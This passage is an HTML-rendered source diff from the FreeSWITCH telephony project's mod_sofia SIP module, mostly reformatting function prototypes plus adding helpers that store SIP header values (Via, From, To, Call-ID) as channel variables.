</del><ins>+void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                         tagi_t tags[]);
</ins><span class="cx">
</span><span class="cx"> void sofia_event_callback(nua_event_t event,
</span><del>-                                        int status,
-                                        char const *phrase,
-                                        nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+                                                 int status,
+                                                 char const *phrase,
+                                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</ins><span class="cx">
</span><span class="cx"> void *SWITCH_THREAD_FUNC sofia_profile_thread_run(switch_thread_t *thread, void *obj);
</span><span class="cx">
</span><span class="cx"> void launch_sofia_profile_thread(sofia_profile_t *profile);
</span><span class="cx">
</span><span class="cx"> switch_status_t sofia_presence_chat_send(const char *proto, const char *from, const char *to, const char *subject,
</span><del>-                                                 const char *body, const char *type, const char *hint);
</del><ins>+                                                                                 const char *body, const char *type, const char *hint);
</ins><span class="cx"> void sofia_glue_tech_absorb_sdp(private_object_t *tech_pvt);
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -766,32 +773,30 @@
</span><span class="cx"> void sofia_presence_cancel(void);
</span><span class="cx"> switch_status_t config_sofia(int reload, char *profile_name);
</span><span class="cx"> void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_regtype_t regtype, const char *realm, int stale);
</span><del>-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
-                                                                sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
</del><ins>+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
+                                                                sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
</ins><span class="cx">                                                                 long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count);
</span><del>-                                                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx"> void sofia_reg_handle_sip_r_challenge(int status,
</span><span class="cx">                                                                          char const *phrase,
</span><span class="cx">                                                                          nua_t *nua, sofia_profile_t *profile,
</span><span class="cx">                                                                          nua_handle_t *nh, sofia_private_t *sofia_private,
</span><span class="cx">                                                                          switch_core_session_t *session, sofia_gateway_t *gateway, sip_t const *sip, tagi_t tags[]);
</span><span class="cx"> void sofia_reg_handle_sip_r_register(int status,
</span><del>-                                        char const *phrase,
-                                        nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_handle_sip_i_options(int status,
-                                 char const *phrase,
-                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_message(int status,
-                                 char const *phrase,
-                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_r_subscribe(int status,
-                                         char const *phrase,
-                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_subscribe(int status,
-                                         char const *phrase,
-                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+                                                                         char const *phrase,
+                                                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                         tagi_t tags[]);
+void sofia_handle_sip_i_options(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private,
+                                                                sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                                 tagi_t tags[]);
+void sofia_presence_handle_sip_i_message(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+                                                                                 sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_r_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+                                                                                 sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_i_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+                                                                                 sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</ins><span class="cx">
</span><span class="cx"> void sofia_glue_execute_sql(sofia_profile_t *profile, char **sqlp, switch_bool_t sql_already_dynamic);
</span><span class="cx"> void sofia_glue_actually_execute_sql(sofia_profile_t *profile, char *sql, switch_mutex_t *mutex);
</span><span class="lines">@@ -801,13 +806,14 @@
</span><span class="cx"> void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now);
</span><span class="cx"> void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now);
</span><span class="cx"> void sofia_reg_unregister(sofia_profile_t *profile);
</span><del>-switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool);
</del><ins>+switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
+                                                                                         const char *sourceip, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> void sofia_glue_pass_sdp(private_object_t *tech_pvt, char *sdp);
</span><span class="cx"> int sofia_glue_get_user_host(char *in, char **user, char **host);
</span><span class="cx"> switch_call_cause_t sofia_glue_sip_cause_to_freeswitch(int status);
</span><span class="cx"> void sofia_glue_do_xfer_invite(switch_core_session_t *session);
</span><del>-uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
</del><ins>+uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
</ins><span class="cx">                                                                  sofia_regtype_t regtype, char *key, uint32_t keylen, switch_event_t **v_event, const char *is_nat);
</span><span class="cx"> extern switch_endpoint_interface_t *sofia_endpoint_interface;
</span><span class="cx"> void sofia_presence_set_chat_hash(private_object_t *tech_pvt, sip_t const *sip);
</span><span class="lines">@@ -816,11 +822,9 @@
</span><span class="cx"> void sofia_presence_set_hash_key(char *hash_key, int32_t len, sip_t const *sip);
</span><span class="cx"> void sofia_glue_sql_close(sofia_profile_t *profile, time_t prune);
</span><span class="cx"> int sofia_glue_init_sql(sofia_profile_t *profile);
</span><del>-char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only, const char *params);
-switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile,
-                                                                                         switch_mutex_t *mutex,
-                                                                                         char *sql,
-                                                                                         switch_core_db_callback_func_t callback,
</del><ins>+char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only,
+                                                                         const char *params);
+switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
</ins><span class="cx">                                                                                          void *pdata);
</span><span class="cx"> char *sofia_glue_execute_sql2str(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, char *resbuf, size_t len);
</span><span class="cx"> void sofia_glue_check_video_codecs(private_object_t *tech_pvt);
</span><span class="lines">@@ -884,14 +888,15 @@
</span><span class="cx"> sofia_transport_t sofia_glue_str2transport(const char *str);
</span><span class="cx">
</span><span class="cx"> const char *sofia_glue_transport2str(const sofia_transport_t tp);
</span><del>-char * sofia_glue_find_parameter(const char *str, const char *param);
</del><ins>+char *sofia_glue_find_parameter(const char *str, const char *param);
</ins><span class="cx"> char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport);
</span><span class="cx"> char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport);
</span><span class="cx"> char *sofia_glue_strip_uri(const char *str);
</span><span class="cx"> int sofia_glue_check_nat(sofia_profile_t *profile, const char *network_ip);
</span><span class="cx"> int sofia_glue_transport_has_tls(const sofia_transport_t tp);
</span><span class="cx"> const char *sofia_glue_get_unknown_header(sip_t const *sip, const char *name);
</span><del>-switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type, switch_rtp_crypto_direction_t direction);
</del><ins>+switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type,
+                                                                                switch_rtp_crypto_direction_t direction);
</ins><span class="cx"> void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt);
</span><span class="cx"> switch_status_t sofia_glue_tech_proxy_remote_addr(private_object_t *tech_pvt);
</span><span class="cx"> void sofia_presence_event_thread_start(void);
</span><span class="lines">@@ -901,10 +906,11 @@
</span><span class="cx"> const char *sofia_glue_strip_proto(const char *uri);
</span><span class="cx"> switch_status_t reconfig_sofia(sofia_profile_t *profile);
</span><span class="cx"> void sofia_glue_del_gateway(sofia_gateway_t *gp);
</span><del>-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip);
</del><ins>+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
+                                                 const char *network_ip);
</ins><span class="cx"> void sofia_glue_restart_all_profiles(void);
</span><span class="cx"> void sofia_glue_toggle_hold(private_object_t *tech_pvt, int sendonly);
</span><del>-const char * sofia_state_string(int state);
</del><ins>+const char *sofia_state_string(int state);
</ins><span class="cx"> switch_status_t sofia_glue_tech_set_codec(private_object_t *tech_pvt, int force);
</span><span class="cx"> void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout);
</span><span class="cx"> void sofia_glue_set_image_sdp(private_object_t *tech_pvt, switch_t38_options_t *t38_options);
</span><span class="lines">@@ -918,7 +924,8 @@
</span><span class="cx"> void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
</span><span class="cx"> void sofia_sla_handle_sip_r_subscribe(int status,
</span><span class="cx">                                                                          char const *phrase,
</span><del>-                                                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+                                                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                         tagi_t tags[]);
</ins><span class="cx"> void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -944,12 +951,16 @@
</span><span class="cx"> void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup);
</span><span class="cx"> void sofia_glue_set_rtp_stats(private_object_t *tech_pvt);
</span><span class="cx"> void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port);
</span><del>-sofia_destination_t* sofia_glue_get_destination(char *data);
</del><ins>+sofia_destination_t *sofia_glue_get_destination(char *data);
</ins><span class="cx"> void sofia_glue_free_destination(sofia_destination_t *dst);
</span><del>-switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip);
</del><ins>+switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
+                                                                         const char *body, const char *o_contact, const char *network_ip);
</ins><span class="cx"> char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix);
</span><span class="cx"> void sofia_glue_set_extra_headers(switch_channel_t *channel, sip_t const *sip, const char *prefix);
</span><span class="cx"> void sofia_info_send_sipfrag(switch_core_session_t *aleg, switch_core_session_t *bleg);
</span><span class="cx"> void sofia_update_callee_id(switch_core_session_t *session, sofia_profile_t *profile, sip_t const *sip, switch_bool_t send);
</span><span class="cx"> void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number);
</span><span class="cx"> int sofia_sla_supported(sip_t const *sip);
</span><ins>+void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force);
+void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session);
+int sofia_glue_recover(switch_bool_t flush);
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofiac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -52,8 +52,9 @@
</span><span class="cx"> extern su_log_t su_log_default[];
</span><span class="cx">
</span><span class="cx">
</span><del>-void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
-                                                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
+                                                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                 tagi_t tags[]);
</ins><span class="cx">
</span><span class="cx"> static void set_variable_sip_param(switch_channel_t *channel, char *header_type, sip_param_t const *params);
</span><span class="cx">
</span><span class="lines">@@ -88,7 +89,7 @@
</span><span class="cx"> #define url_set_chanvars(session, url, varprefix) _url_set_chanvars(session, url, #varprefix "_user", #varprefix "_host", #varprefix "_port", #varprefix "_uri", #varprefix "_params")
</span><span class="cx">
</span><span class="cx"> static const char *_url_set_chanvars(switch_core_session_t *session, url_t *url, const char *user_var,
</span><del>-                                                         const char *host_var, const char *port_var, const char *uri_var, const char *params_var)
</del><ins>+                                                                         const char *host_var, const char *port_var, const char *uri_var, const char *params_var)
</ins><span class="cx"> {
</span><span class="cx">         const char *user = NULL, *host = NULL, *port = NULL;
</span><span class="cx">         char *uri = NULL;
</span><span class="lines">@@ -137,19 +138,85 @@
</span><span class="cx">         return uri;
</span><span class="cx"> }
</span><span class="cx">
</span><ins>+static char *strip_quotes(const char *in)
+{
+        char *t = (char *) in;
+        char *r = (char *) in;
</ins><span class="cx">
</span><del>-static void extract_vars(sip_t const *sip, switch_core_session_t *session)
</del><ins>+        if (*t == '"') {
+                t++;
+
+                if (end_of(t) == '"') {
+                        r = strdup(t);
+                        end_of(r) = '\0';
+                }
+        }
+
+        return r;
+}
+
+static void extract_header_vars(sofia_profile_t *profile, sip_t const *sip, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><ins>+        char *full;
</ins><span class="cx">
</span><span class="cx">         if (sip) {
</span><del>-                if (sip->sip_from && sip->sip_from->a_url) url_set_chanvars(session, sip->sip_from->a_url, sip_from);
-                if (sip->sip_request && sip->sip_request->rq_url) url_set_chanvars(session, sip->sip_request->rq_url, sip_req);
-                if (sip->sip_to && sip->sip_to->a_url) url_set_chanvars(session, sip->sip_to->a_url, sip_to);
-                if (sip->sip_contact && sip->sip_contact->m_url) url_set_chanvars(session, sip->sip_contact->m_url, sip_contact);
-                if (sip->sip_referred_by && sip->sip_referred_by->b_url) url_set_chanvars(session, sip->sip_referred_by->b_url, sip_referred_by);
</del><ins>+                if (sip->sip_via) {
+                        if ((full = sip_header_as_string(profile->home, (void *) sip->sip_via))) {
+                                const char *v = switch_channel_get_variable(channel, "sip_full_via");
+                                if (!v) {
+                                        switch_channel_set_variable(channel, "sip_full_via", full);
+                                }
+                                su_free(profile->home, full);
+                        }
+                }
+                if (sip->sip_from) {
+                        char *p = strip_quotes(sip->sip_from->a_display);
+
+                        if (p) {
+                                switch_channel_set_variable(channel, "sip_from_display", p);
+                        }
+                        if (p != sip->sip_from->a_display) free(p);
+                        if ((full = sip_header_as_string(profile->home, (void *) sip->sip_from))) {
+                                switch_channel_set_variable(channel, "sip_full_from", full);
+                                su_free(profile->home, full);
+                        }
+                }
+                if (sip->sip_to) {
+                        char *p = strip_quotes(sip->sip_to->a_display);
+
+                        if (p) {
+                                switch_channel_set_variable(channel, "sip_to_display", p);
+                        }
+
+                        if (p != sip->sip_to->a_display) free(p);
+
+                        if ((full = sip_header_as_string(profile->home, (void *) sip->sip_to))) {
+                                switch_channel_set_variable(channel, "sip_full_to", full);
+                                su_free(profile->home, full);
+                        }
+                }
+
+        }
+}
+
+static void extract_vars(sofia_profile_t *profile, sip_t const *sip, switch_core_session_t *session)
+{
+        switch_channel_t *channel = switch_core_session_get_channel(session);
+
+        if (sip) {
+                if (sip->sip_from && sip->sip_from->a_url)
+                        url_set_chanvars(session, sip->sip_from->a_url, sip_from);
+                if (sip->sip_request && sip->sip_request->rq_url)
+                        url_set_chanvars(session, sip->sip_request->rq_url, sip_req);
+                if (sip->sip_to && sip->sip_to->a_url)
+                        url_set_chanvars(session, sip->sip_to->a_url, sip_to);
+                if (sip->sip_contact && sip->sip_contact->m_url)
+                        url_set_chanvars(session, sip->sip_contact->m_url, sip_contact);
+                if (sip->sip_referred_by && sip->sip_referred_by->b_url)
+                        url_set_chanvars(session, sip->sip_referred_by->b_url, sip_referred_by);
</ins><span class="cx">                 if (sip->sip_to && sip->sip_to->a_tag) {
</span><del>-                                        switch_channel_set_variable(channel, "sip_to_tag", sip->sip_to->a_tag);
</del><ins>+                        switch_channel_set_variable(channel, "sip_to_tag", sip->sip_to->a_tag);
</ins><span class="cx">                 }
</span><span class="cx">                 if (sip->sip_from && sip->sip_from->a_tag) {
</span><span class="cx">                         switch_channel_set_variable(channel, "sip_from_tag", sip->sip_from->a_tag);
</span><span class="lines">@@ -159,6 +226,9 @@
</span><span class="cx">                         switch_snprintf(sip_cseq, sizeof(sip_cseq), "%d", sip->sip_cseq->cs_seq);
</span><span class="cx">                         switch_channel_set_variable(channel, "sip_cseq", sip_cseq);
</span><span class="cx">                 }
</span><ins>+                if (sip->sip_call_id && sip->sip_call_id->i_id) {
+                        switch_channel_set_variable(channel, "sip_call_id", sip->sip_call_id->i_id);
+                }
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -187,9 +257,9 @@
</span><span class="cx">          * nua, and also pick them off special elsewhere here in sofia.c - MTK
</span><span class="cx">          * *and* for Linksys, I believe they use "sa" as their magic appearance agent name for those blind notifies, so
</span><span class="cx">          * we'll probably have to change to match
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip->sip_request->rq_url->url_user && !strncmp(sip->sip_request->rq_url->url_user, "sla-agent", sizeof("sla-agent"))) {
</span><span class="cx">                         sofia_sla_handle_sip_i_notify(nua, profile, nh, sip, tags);
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -212,10 +282,7 @@
</span><span class="cx">
</span><span class="cx">         /* For additional NOTIFY event packages see http://www.iana.org/assignments/sip-events. */
</span><span class="cx">         if (sip->sip_content_type &&
</span><del>-                sip->sip_content_type->c_type &&
-                sip->sip_payload &&
-                sip->sip_payload->pl_data &&
-                !strcasecmp(sip->sip_event->o_type, "refer")) {
</del><ins>+                sip->sip_content_type->c_type && sip->sip_payload && sip->sip_payload->pl_data && !strcasecmp(sip->sip_event->o_type, "refer")) {
</ins><span class="cx">                 if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_NOTIFY_REFER) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "content-type", sip->sip_content_type->c_type);
</span><span class="cx">                         switch_event_add_body(s_event, "%s", sip->sip_payload->pl_data);
</span><span class="lines">@@ -226,17 +293,15 @@
</span><span class="cx">         if (s_event != NULL) {
</span><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "event-package", sip->sip_event->o_type);
</span><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "event-id", sip->sip_event->o_id);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip->sip_contact && sip->sip_contact->m_url) {
</span><del>-                        switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "contact", "%s@%s",
</del><ins>+                        switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "contact", "%s@%s",
</ins><span class="cx">                                                                         sip->sip_contact->m_url->url_user, sip->sip_contact->m_url->url_host);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from", "%s@%s",
-                                                                sip->sip_from->a_url->url_user, sip->sip_from->a_url->url_host);
</del><ins>+                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from", "%s@%s", sip->sip_from->a_url->url_user, sip->sip_from->a_url->url_host);
</ins><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "from-tag", sip->sip_from->a_tag);
</span><del>-                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "to", "%s@%s",
-                                                                sip->sip_to->a_url->url_user, sip->sip_to->a_url->url_host);
</del><ins>+                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "to", "%s@%s", sip->sip_to->a_url->url_user, sip->sip_to->a_url->url_host);
</ins><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-tag", sip->sip_to->a_tag);
</span><span class="cx">
</span><span class="cx">                 if (sip->sip_call_id && sip->sip_call_id->i_id) {
</span><span class="lines">@@ -300,27 +365,26 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sofia_private || !sofia_private->gateway) {
</span><span class="cx">                 if (profile->debug) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Gateway information missing Subscription Event: %s\n", sip->sip_event->o_type);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Gateway information missing Subscription Event: %s\n",
+                                                         sip->sip_event->o_type);
</ins><span class="cx">                 }
</span><del>-                goto error;        
</del><ins>+                goto error;
</ins><span class="cx">         }
</span><del>-                                
</del><ins>+
</ins><span class="cx">         /* find the corresponding gateway subscription (if any) */
</span><span class="cx">         if (!(gw_sub_ptr = sofia_find_gateway_subscription(sofia_private->gateway, sip->sip_event->o_type))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</span><span class="cx">                                                  "Could not find gateway subscription. Gateway: %s. Subscription Event: %s\n",
</span><span class="cx">                                                  sofia_private->gateway->name, sip->sip_event->o_type);
</span><del>-                goto error;        
</del><ins>+                goto error;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!(gw_sub_ptr->state == SUB_STATE_SUBED || gw_sub_ptr->state == SUB_STATE_SUBSCRIBE)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
-                                                 "Ignoring notify due to subscription state: %d\n",
-                                                 gw_sub_ptr->state);
-                goto error;        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Ignoring notify due to subscription state: %d\n", gw_sub_ptr->state);
+                goto error;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* dispatch freeswitch event */
</span><span class="lines">@@ -337,7 +401,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "dispatched freeswitch event for message-summary NOTIFY\n");
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to create event\n");
</span><del>-                goto error;        
</del><ins>+                goto error;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         goto end;
</span><span class="lines">@@ -351,10 +415,10 @@
</span><span class="cx">         } else {
</span><span class="cx">                 nua_respond(nh, 481, "Subscription Does Not Exist", NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx">         }
</span><del>-        
- end:
-        
-        if (sub_state == nua_substate_terminated && sofia_private && sofia_private != &mod_sofia_globals.destroy_private &&
</del><ins>+
+ end:
+
+        if (sub_state == nua_substate_terminated && sofia_private && sofia_private != &mod_sofia_globals.destroy_private &&
</ins><span class="cx">                 sofia_private != &mod_sofia_globals.keep_private) {
</span><span class="cx">                 sofia_private->destroy_nh = 1;
</span><span class="cx">                 sofia_private->destroy_me = 1;
</span><span class="lines">@@ -385,14 +449,13 @@
</span><span class="cx"> #ifdef MANUAL_BYE
</span><span class="cx">         status = 200;
</span><span class="cx">         phrase = "OK";
</span><del>-        
</del><ins>+
</ins><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
</span><span class="cx">         call_info = switch_channel_get_variable(channel, "presence_call_info_full");
</span><span class="cx">
</span><del>-        if (sip->sip_reason && sip->sip_reason->re_protocol &&
-                (!strcasecmp(sip->sip_reason->re_protocol, "Q.850")
-                        || !strcasecmp(sip->sip_reason->re_protocol, "FreeSWITCH")
-                        || !strcasecmp(sip->sip_reason->re_protocol, profile->username)) && sip->sip_reason->re_cause) {
</del><ins>+        if (sip->sip_reason && sip->sip_reason->re_protocol && (!strcasecmp(sip->sip_reason->re_protocol, "Q.850")
+                                                                                                                        || !strcasecmp(sip->sip_reason->re_protocol, "FreeSWITCH")
+                                                                                                                        || !strcasecmp(sip->sip_reason->re_protocol, profile->username)) && sip->sip_reason->re_cause) {
</ins><span class="cx">                 tech_pvt->q850_cause = atoi(sip->sip_reason->re_cause);
</span><span class="cx">                 cause = tech_pvt->q850_cause;
</span><span class="cx">         } else {
</span><span class="lines">@@ -409,21 +472,20 @@
</span><span class="cx">
</span><span class="cx">         switch_snprintf(st, sizeof(st), "%d", cause);
</span><span class="cx">         switch_channel_set_variable(channel, "sip_term_cause", st);
</span><del>-        
</del><ins>+
</ins><span class="cx">         extra_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_BYE_HEADER_PREFIX);
</span><span class="cx">         sofia_glue_set_extra_headers(channel, sip, SOFIA_SIP_BYE_HEADER_PREFIX);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_hangup(channel, cause);
</span><del>-        nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua),
-                                TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
-                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
-                
</del><ins>+        nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua),
+                                TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)), TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
+
</ins><span class="cx">         switch_safe_free(extra_headers);
</span><span class="cx">
</span><span class="cx">         if (sofia_private) {
</span><del>- sofia_private->destroy_me = 1;
- sofia_private->destroy_nh = 1;
- }
</del><ins>+                sofia_private->destroy_me = 1;
+                sofia_private->destroy_nh = 1;
+        }
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -442,9 +504,9 @@
</span><span class="cx">         if ((tmp = sofia_glue_get_unknown_header(sip, "P-RTP-Stat"))) {
</span><span class="cx">                 switch_channel_set_variable(channel, "sip_p_rtp_stat", tmp);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt->got_bye = 1;
</span><del>-        switch_channel_set_variable(channel, "sip_hangup_disposition", "recv_bye");        
</del><ins>+        switch_channel_set_variable(channel, "sip_hangup_disposition", "recv_bye");
</ins><span class="cx">
</span><span class="cx">         return;
</span><span class="cx"> }
</span><span class="lines">@@ -456,16 +518,16 @@
</span><span class="cx"> void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout)
</span><span class="cx"> {
</span><span class="cx">         time_t exp = switch_epoch_time_now(NULL) + timeout;
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt->want_event = event;
</span><span class="cx">
